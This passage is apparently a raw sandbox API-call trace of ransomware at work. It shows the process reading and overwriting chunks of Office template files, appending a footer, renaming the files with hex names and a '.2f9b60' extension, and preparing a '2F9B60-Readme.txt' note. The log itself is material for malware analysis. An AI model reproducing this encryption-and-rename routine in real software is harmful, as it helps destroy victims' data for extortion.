RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62690) returned 1 [0217.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1ce62690 [0217.611] sprintf (in: _Dest=0x1ce62690, _Format="%c%c" | out: _Dest="5d") returned 2 [0217.611] sprintf (in: _Dest=0x1ce62692, _Format="%c%c" | out: _Dest="43") returned 2 [0217.611] sprintf (in: _Dest=0x1ce62694, _Format="%c%c" | out: _Dest="9c") returned 2 [0217.611] sprintf (in: _Dest=0x1ce62696, _Format="%c%c" | out: _Dest="52") returned 2 [0217.611] sprintf (in: _Dest=0x1ce62698, _Format="%c%c" | out: _Dest="da") returned 2 [0217.611] sprintf (in: _Dest=0x1ce6269a, _Format="%c%c" | out: _Dest="25") returned 2 [0217.611] sprintf (in: _Dest=0x1ce6269c, _Format="%c%c" | out: _Dest="93") returned 2 [0217.611] sprintf (in: _Dest=0x1ce6269e, _Format="%c%c" | out: _Dest="12") returned 2 [0217.612] sprintf (in: _Dest=0x1ce626a0, _Format="%c%c" | out: _Dest="d7") returned 2 [0217.612] sprintf (in: _Dest=0x1ce626a2, _Format="%c%c" | out: _Dest="7c") returned 2 [0217.612] sprintf (in: _Dest=0x1ce626a4, _Format="%c%c" | out: _Dest="d1") returned 2 [0217.612] sprintf (in: _Dest=0x1ce626a6, _Format="%c%c" | out: _Dest="a8") returned 2 [0217.612] sprintf (in: _Dest=0x1ce626a8, _Format="%c%c" | out: _Dest="66") returned 2 [0217.612] sprintf (in: _Dest=0x1ce626aa, _Format="%c%c" | out: _Dest="b7") returned 2 [0217.612] sprintf (in: _Dest=0x1ce626ac, _Format="%c%c" | out: _Dest="c7") returned 2 [0217.612] sprintf (in: _Dest=0x1ce626ae, _Format="%c%c" | out: _Dest="d6") returned 2 [0217.612] sprintf (in: _Dest=0x1ce626b0, _Format="%c%c" | out: _Dest="c7") returned 2 [0217.612] sprintf (in: _Dest=0x1ce626b2, _Format="%c%c" | out: _Dest="eb") returned 2 [0217.612] sprintf (in: _Dest=0x1ce626b4, _Format="%c%c" | out: _Dest="c6") returned 2 [0217.612] sprintf (in: _Dest=0x1ce626b6, _Format="%c%c" | out: _Dest="ef") returned 2 [0217.612] sprintf (in: _Dest=0x1ce626b8, _Format="%c%c" | out: _Dest="67") returned 2 [0217.612] sprintf (in: _Dest=0x1ce626ba, _Format="%c%c" | out: _Dest="42") returned 2 [0217.612] sprintf (in: _Dest=0x1ce626bc, _Format="%c%c" | out: _Dest="f0") returned 2 [0217.612] sprintf (in: _Dest=0x1ce626be, _Format="%c%c" | out: _Dest="7b") returned 2 [0217.612] sprintf (in: _Dest=0x1ce626c0, _Format="%c%c" | out: _Dest="d7") returned 2 [0217.612] sprintf (in: _Dest=0x1ce626c2, _Format="%c%c" | out: _Dest="99") returned 2 [0217.612] sprintf (in: _Dest=0x1ce626c4, _Format="%c%c" | out: _Dest="eb") returned 2 [0217.612] sprintf (in: _Dest=0x1ce626c6, _Format="%c%c" | out: _Dest="76") returned 2 [0217.612] RtlInitAnsiString (in: DestinationString=0x228bfd48, SourceString="5d439c52da259312d77cd1a866b7c7d6c7ebc6ef6742f07bd799eb76" | out: DestinationString="5d439c52da259312d77cd1a866b7c7d6c7ebc6ef6742f07bd799eb76") [0217.612] RtlAnsiStringToUnicodeString (in: DestinationString=0x228bfd18, SourceString="5d439c52da259312d77cd1a866b7c7d6c7ebc6ef6742f07bd799eb76", AllocateDestinationString=1 | out: DestinationString="5d439c52da259312d77cd1a866b7c7d6c7ebc6ef6742f07bd799eb76") returned 0x0 [0217.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1cebbae0 [0217.613] wcscat (in: _Dest=0x431501f0, _Source="5d439c52da2593" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\5d439c52da2593") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\5d439c52da2593" [0217.613] wcscat (in: _Dest=0x431501f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\5d439c52da2593.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\5d439c52da2593.2f9b60" [0217.613] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\5d439c52da2593.2f9b60", NtPathName=0x228bfcf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\5d439c52da2593.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4205f290 [0237.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205f290) returned 1 [0237.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b93f0) returned 1 [0237.894] NtQueryInformationFile (in: FileHandle=0x1814, IoStatusBlock=0x228bfd58, FileInformation=0x228bfd68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x228bfd58, FileInformation=0x228bfd68) returned 0x0 [0237.894] NtSetInformationFile (FileHandle=0x1814, IoStatusBlock=0x228bfd58, FileInformation=0x228bfd68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431501f0) returned 1 [0240.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebbae0) returned 1 [0240.151] FlushFileBuffers (hFile=0x1814) returned 1 [0240.156] CloseHandle (hObject=0x1814) returned 1 [0242.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4205db90 [0242.507] wcscpy (in: _Dest=0x4205db90, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0242.507] wcscat (in: _Dest=0x4205db90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt" [0242.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\2f9b60-readme.txt")) Thread: id = 1625 os_tid = 0x1ad4 [0125.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Charitable Contributions.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\charitable contributions.accdt")) returned 0x20 [0125.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Charitable Contributions.accdt", dwFileAttributes=0x20) returned 1 [0129.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Charitable Contributions.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\charitable contributions.accdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10b0 [0129.145] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x225ef7c0 | out: lpFileSize=0x225ef7c0*=1766397) returned 1 [0129.145] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x1af3f9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.145] ReadFile (in: hFile=0x10b0, lpBuffer=0x225ef740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x225ef788, lpOverlapped=0x0 | out: lpBuffer=0x225ef740*, lpNumberOfBytesRead=0x225ef788*=0x4, lpOverlapped=0x0) returned 1 [0129.148] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264f20 [0129.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264fb0 [0129.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264fe0 [0129.148] NtQuerySystemTime (in: CurrentTime=0x225ef680 | out: CurrentTime=0x225ef680*=132462177344014000) returned 0x0 [0129.148] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0x7cc43d42 [0129.148] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0x26a8570f [0129.148] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0x4d8d60f4 [0129.149] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0x6ad5ac98 [0129.149] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0x5094088c [0129.149] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0x4a8129c3 [0129.149] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0x5732ed0d [0129.149] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0x402d6032 [0129.149] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0x7452657e [0129.149] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0x77190866 [0129.149] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0x1e08ab4e [0129.149] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0x4fbda623 [0129.149] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0x68a1751e [0129.149] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0x71461876 [0129.149] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0x528cdf6d [0129.149] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0x3738683f [0129.149] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0x4e3c0763 [0129.149] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0x77bcd95e [0129.149] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0x554ce875 [0129.149] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0x6bf707b3 [0129.149] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0x90a6ed7 [0129.149] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0xa52a478 [0129.149] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0x685d8cbf [0129.149] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0x6d0e3359 [0129.149] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0xedf3fe3 [0129.149] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0x58eab2ee [0129.150] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0x3a33b10e [0129.150] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0x31804871 [0129.150] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0x28b78aff [0129.150] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0xa70ff09 [0129.150] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0x503eb39 [0129.150] RtlRandomEx (in: Seed=0x225ef670 | out: Seed=0x225ef670) returned 0x4fae7cb [0129.163] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.163] ReadFile (in: hFile=0x10b0, lpBuffer=0x41f178d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x225ef6e0, lpOverlapped=0x0 | out: lpBuffer=0x41f178d0*, lpNumberOfBytesRead=0x225ef6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0129.165] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0129.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0129.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264f20 [0129.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264f20) returned 1 [0129.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2044a6d0 [0129.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264f20 [0129.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264fe0 [0129.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264fe0) returned 1 [0129.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0129.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0129.166] WriteFile (hFile=0x10b0, lpBuffer=0x2044a6d0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x225ef6e0, lpOverlapped=0x0) [0178.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2044a6d0) returned 1 [0178.620] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0xd9800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.620] ReadFile (in: hFile=0x10b0, lpBuffer=0x41f178d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x225ef6e0, lpOverlapped=0x0 | out: lpBuffer=0x41f178d0*, lpNumberOfBytesRead=0x225ef6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0180.531] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0xd9800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c290 [0180.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f310 [0180.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd94d0 [0180.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd94d0) returned 1 [0180.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41c9b4e0 [0180.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd94d0 [0180.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9410 [0180.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9410) returned 1 [0180.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0180.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c290) returned 1 [0180.534] WriteFile (in: hFile=0x10b0, lpBuffer=0x41c9b4e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x225ef6e0, lpOverlapped=0x0 | out: lpBuffer=0x41c9b4e0*, lpNumberOfBytesWritten=0x225ef6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.302] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c9b4e0) returned 1 [0198.302] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x1ab7fd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.302] ReadFile (in: hFile=0x10b0, lpBuffer=0x41f178d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x225ef6e0, lpOverlapped=0x0 | out: lpBuffer=0x41f178d0*, lpNumberOfBytesRead=0x225ef6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.448] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x1ab7fd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced16b0 [0198.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cf5f380 [0198.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431359b0 [0198.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431359b0) returned 1 [0198.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fdf0f0 [0198.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431359b0 [0198.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43135a10 [0198.451] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43135a10) returned 1 [0198.451] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf5f380) returned 1 [0198.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced16b0) returned 1 [0198.452] WriteFile (in: hFile=0x10b0, lpBuffer=0x41fdf0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x225ef6e0, lpOverlapped=0x0 | out: lpBuffer=0x41fdf0f0*, lpNumberOfBytesWritten=0x225ef6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0214.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fdf0f0) returned 1 [0214.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced8d70 [0214.051] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.051] WriteFile (in: hFile=0x10b0, lpBuffer=0x19e720*, nNumberOfBytesToWrite=0x16e, lpNumberOfBytesWritten=0x225ef790, lpOverlapped=0x0 | out: lpBuffer=0x19e720*, lpNumberOfBytesWritten=0x225ef790*=0x16e, lpOverlapped=0x0) returned 1 [0217.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0217.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f10 [0217.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7740 [0217.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7740) returned 1 [0217.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1b82c030 [0217.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7740 [0217.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced77d0 [0217.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced77d0) returned 1 [0217.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f10) returned 1 [0217.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0217.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x79) returned 0x1cf4d650 [0217.524] sprintf (in: _Dest=0x1cf4d650, _Format="%c%c" | out: _Dest="5a") returned 2 [0217.524] sprintf (in: _Dest=0x1cf4d652, _Format="%c%c" | out: _Dest="3b") returned 2 [0217.524] sprintf (in: _Dest=0x1cf4d654, _Format="%c%c" | out: _Dest="29") returned 2 [0217.524] sprintf (in: _Dest=0x1cf4d656, _Format="%c%c" | out: _Dest="17") returned 2 [0217.524] sprintf (in: _Dest=0x1cf4d658, _Format="%c%c" | out: _Dest="79") returned 2 [0217.524] sprintf (in: _Dest=0x1cf4d65a, _Format="%c%c" | out: _Dest="71") returned 2 [0217.524] sprintf (in: _Dest=0x1cf4d65c, _Format="%c%c" | out: _Dest="74") returned 2 [0217.524] sprintf (in: _Dest=0x1cf4d65e, _Format="%c%c" | out: _Dest="21") returned 2 [0217.524] sprintf (in: _Dest=0x1cf4d660, _Format="%c%c" | out: _Dest="33") returned 2 [0217.524] sprintf (in: _Dest=0x1cf4d662, _Format="%c%c" | out: _Dest="aa") returned 2 [0217.524] sprintf (in: _Dest=0x1cf4d664, _Format="%c%c" | out: _Dest="a0") returned 2 [0217.524] sprintf (in: _Dest=0x1cf4d666, _Format="%c%c" | out: _Dest="cb") returned 2 [0217.524] sprintf (in: _Dest=0x1cf4d668, _Format="%c%c" | out: _Dest="a5") returned 2 [0217.524] sprintf (in: _Dest=0x1cf4d66a, _Format="%c%c" | out: _Dest="e6") returned 2 [0217.524] sprintf (in: _Dest=0x1cf4d66c, _Format="%c%c" | out: _Dest="f8") returned 2 [0217.524] sprintf (in: _Dest=0x1cf4d66e, _Format="%c%c" | out: _Dest="be") returned 2 [0217.524] sprintf (in: _Dest=0x1cf4d670, _Format="%c%c" | out: _Dest="05") returned 2 [0217.524] sprintf (in: _Dest=0x1cf4d672, _Format="%c%c" | out: _Dest="2c") returned 2 [0217.524] sprintf (in: _Dest=0x1cf4d674, _Format="%c%c" | out: _Dest="9f") returned 2 [0217.524] sprintf (in: _Dest=0x1cf4d676, _Format="%c%c" | out: _Dest="fa") returned 2 [0217.524] sprintf (in: _Dest=0x1cf4d678, _Format="%c%c" | out: _Dest="3c") returned 2 [0217.525] sprintf (in: _Dest=0x1cf4d67a, _Format="%c%c" | out: _Dest="7e") returned 2 [0217.525] sprintf (in: _Dest=0x1cf4d67c, _Format="%c%c" | out: _Dest="07") returned 2 [0217.525] sprintf (in: _Dest=0x1cf4d67e, _Format="%c%c" | out: _Dest="2d") returned 2 [0217.525] sprintf (in: _Dest=0x1cf4d680, _Format="%c%c" | out: _Dest="00") returned 2 [0217.525] sprintf (in: _Dest=0x1cf4d682, _Format="%c%c" | out: _Dest="ba") returned 2 [0217.525] sprintf (in: _Dest=0x1cf4d684, _Format="%c%c" | out: _Dest="d2") returned 2 [0217.525] sprintf (in: _Dest=0x1cf4d686, _Format="%c%c" | out: _Dest="33") returned 2 [0217.525] sprintf (in: _Dest=0x1cf4d688, _Format="%c%c" | out: _Dest="4d") returned 2 [0217.525] sprintf (in: _Dest=0x1cf4d68a, _Format="%c%c" | out: _Dest="a2") returned 2 [0217.525] sprintf (in: _Dest=0x1cf4d68c, _Format="%c%c" | out: _Dest="b8") returned 2 [0217.525] sprintf (in: _Dest=0x1cf4d68e, _Format="%c%c" | out: _Dest="c8") returned 2 [0217.525] sprintf (in: _Dest=0x1cf4d690, _Format="%c%c" | out: _Dest="0d") returned 2 [0217.525] sprintf (in: _Dest=0x1cf4d692, _Format="%c%c" | out: _Dest="8b") returned 2 [0217.525] sprintf (in: _Dest=0x1cf4d694, _Format="%c%c" | out: _Dest="40") returned 2 [0217.525] sprintf (in: _Dest=0x1cf4d696, _Format="%c%c" | out: _Dest="ed") returned 2 [0217.525] sprintf (in: _Dest=0x1cf4d698, _Format="%c%c" | out: _Dest="7b") returned 2 [0217.525] sprintf (in: _Dest=0x1cf4d69a, _Format="%c%c" | out: _Dest="11") returned 2 [0217.525] sprintf (in: _Dest=0x1cf4d69c, _Format="%c%c" | out: _Dest="3b") returned 2 [0217.525] sprintf (in: _Dest=0x1cf4d69e, _Format="%c%c" | out: _Dest="54") returned 2 [0217.525] sprintf (in: _Dest=0x1cf4d6a0, _Format="%c%c" | out: _Dest="9a") returned 2 [0217.525] sprintf (in: _Dest=0x1cf4d6a2, _Format="%c%c" | out: _Dest="4f") returned 2 [0217.525] sprintf (in: _Dest=0x1cf4d6a4, _Format="%c%c" | out: _Dest="c3") returned 2 [0217.525] sprintf (in: _Dest=0x1cf4d6a6, _Format="%c%c" | out: _Dest="a2") returned 2 [0217.525] sprintf (in: _Dest=0x1cf4d6a8, _Format="%c%c" | out: _Dest="a8") returned 2 [0217.525] sprintf (in: _Dest=0x1cf4d6aa, _Format="%c%c" | out: _Dest="d3") returned 2 [0217.525] sprintf (in: _Dest=0x1cf4d6ac, _Format="%c%c" | out: _Dest="9f") returned 2 [0217.525] sprintf (in: _Dest=0x1cf4d6ae, _Format="%c%c" | out: _Dest="be") returned 2 [0217.525] sprintf (in: _Dest=0x1cf4d6b0, _Format="%c%c" | out: _Dest="d7") returned 2 [0217.526] sprintf (in: _Dest=0x1cf4d6b2, _Format="%c%c" | out: _Dest="18") returned 2 [0217.526] sprintf (in: _Dest=0x1cf4d6b4, _Format="%c%c" | out: _Dest="a6") returned 2 [0217.526] sprintf (in: _Dest=0x1cf4d6b6, _Format="%c%c" | out: _Dest="79") returned 2 [0217.526] sprintf (in: _Dest=0x1cf4d6b8, _Format="%c%c" | out: _Dest="a0") returned 2 [0217.526] sprintf (in: _Dest=0x1cf4d6ba, _Format="%c%c" | out: _Dest="5e") returned 2 [0217.526] sprintf (in: _Dest=0x1cf4d6bc, _Format="%c%c" | out: _Dest="86") returned 2 [0217.526] sprintf (in: _Dest=0x1cf4d6be, _Format="%c%c" | out: _Dest="d4") returned 2 [0217.526] sprintf (in: _Dest=0x1cf4d6c0, _Format="%c%c" | out: _Dest="ad") returned 2 [0217.526] sprintf (in: _Dest=0x1cf4d6c2, _Format="%c%c" | out: _Dest="59") returned 2 [0217.526] sprintf (in: _Dest=0x1cf4d6c4, _Format="%c%c" | out: _Dest="50") returned 2 [0217.526] sprintf (in: _Dest=0x1cf4d6c6, _Format="%c%c" | out: _Dest="fb") returned 2 [0217.526] RtlInitAnsiString (in: DestinationString=0x225ef808, SourceString="5a3b29177971742133aaa0cba5e6f8be052c9ffa3c7e072d00bad2334da2b8c80d8b40ed7b113b549a4fc3a2a8d39fbed718a679a05e86d4ad5950fb" | out: DestinationString="5a3b29177971742133aaa0cba5e6f8be052c9ffa3c7e072d00bad2334da2b8c80d8b40ed7b113b549a4fc3a2a8d39fbed718a679a05e86d4ad5950fb") [0217.526] RtlAnsiStringToUnicodeString (in: DestinationString=0x225ef7d8, SourceString="5a3b29177971742133aaa0cba5e6f8be052c9ffa3c7e072d00bad2334da2b8c80d8b40ed7b113b549a4fc3a2a8d39fbed718a679a05e86d4ad5950fb", AllocateDestinationString=1 | out: DestinationString="5a3b29177971742133aaa0cba5e6f8be052c9ffa3c7e072d00bad2334da2b8c80d8b40ed7b113b549a4fc3a2a8d39fbed718a679a05e86d4ad5950fb") returned 0x0 [0217.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf2) returned 0x1b78ef80 [0217.527] wcscat (in: _Dest=0x430fc8c0, _Source="5a3b29177971742133aaa0cba5e6f8" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\5a3b29177971742133aaa0cba5e6f8") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\5a3b29177971742133aaa0cba5e6f8" [0217.527] wcscat (in: _Dest=0x430fc8c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\5a3b29177971742133aaa0cba5e6f8.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\5a3b29177971742133aaa0cba5e6f8.2f9b60" [0217.527] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\5a3b29177971742133aaa0cba5e6f8.2f9b60", NtPathName=0x225ef7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\5a3b29177971742133aaa0cba5e6f8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xda) returned 0x1ceb5030 [0237.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb5030) returned 1 [0237.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42cc8db0) returned 1 [0237.896] NtQueryInformationFile (in: FileHandle=0x10b0, IoStatusBlock=0x225ef818, FileInformation=0x225ef828, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x225ef818, FileInformation=0x225ef828) returned 0x0 [0237.896] NtSetInformationFile (FileHandle=0x10b0, IoStatusBlock=0x225ef818, FileInformation=0x225ef828, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.160] 